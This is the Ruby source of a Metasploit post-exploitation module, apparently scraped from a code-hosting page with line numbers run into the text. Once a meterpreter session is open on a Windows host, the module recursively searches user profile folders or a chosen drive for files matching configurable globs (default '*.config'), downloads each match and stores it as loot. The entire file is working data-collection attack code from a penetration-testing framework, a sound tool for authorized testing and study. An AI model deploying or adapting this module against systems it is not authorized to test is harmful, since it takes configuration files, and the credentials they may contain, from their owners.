Path: blob/master/modules/post/windows/gather/enum_files.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::FileSystem8include Msf::Post::Windows::Version9include Msf::Auxiliary::Report1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Gather Generic File Collection',16'Description' => %q{17This module downloads files recursively based on the FILE_GLOBS option.18},19'License' => MSF_LICENSE,20'Author' => [21'3vi1john <Jbabio[at]me.com>',22'RageLtMan <rageltman[at]sempervictus>'23],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ],26'Notes' => {27'Stability' => [CRASH_SAFE],28'SideEffects' => [],29'Reliability' => []30},31'Compat' => {32'Meterpreter' => {33'Commands' => %w[34stdapi_fs_search35stdapi_railgun_api36stdapi_sys_config_getenv37]38}39}40)41)4243register_options(44[45OptString.new('SEARCH_FROM', [ false, 'Search from a specific location. Ex. C:\\']),46OptString.new('FILE_GLOBS', [ true, 'The file pattern to search for in a filename', '*.config'])47]48)49end5051def download_files(location, file_type)52sysdriv = client.sys.config.getenv('SYSTEMDRIVE')53profile_path_old = sysdriv + '\\Documents and Settings\\'54profile_path_new = sysdriv + '\\Users\\'5556version = get_version_info57if location58print_status("Searching #{location}")59getfile = client.fs.file.search(location, file_type, true, -1)6061elsif version.build_number < Msf::WindowsVersion::Vista_SP062print_status("Searching #{profile_path_old} through windows user profile structure")63getfile = client.fs.file.search(profile_path_old, file_type, true, -1)64else65# For systems such as: Windows 7|Windows Vista|200866print_status("Searching #{profile_path_new} through windows user profile structure")67getfile = client.fs.file.search(profile_path_new, file_type, true, -1)68end6970getfile.each do |file|71filename = "#{file['path']}\\#{file['name']}"72data = read_file(filename)73print_status("Downloading #{file['path']}\\#{file['name']}")74p = store_loot('host.files', 'application/octet-stream', session, data, file['name'], filename)75print_good("#{file['name']} saved as: #{p}")76end77end7879def run80# When the location is set, make sure we have a valid path format81location = datastore['SEARCH_FROM']82if location && location !~ (%r{^([a-z]):[\\|/].*}i)83print_error("Invalid SEARCH_FROM option: #{location}")84return85end8687# When the location option is set, make sure we have a valid drive letter88my_drive = ::Regexp.last_match(1)89drives = get_drives90if location && !drives.include?(my_drive)91print_error("#{my_drive} drive is not available, please try: #{drives.inspect}")92return93end9495datastore['FILE_GLOBS'].split(',').each do |glob|96download_files(location, glob.strip)97rescue ::Rex::Post::Meterpreter::RequestError => e98if e.message =~ /The device is not ready/99print_error("#{my_drive} drive is not ready")100next101elsif e.message =~ /The system cannot find the path specified/102print_error('Path does not exist')103next104else105raise e106end107end108109print_status('Done!')110end111end112113114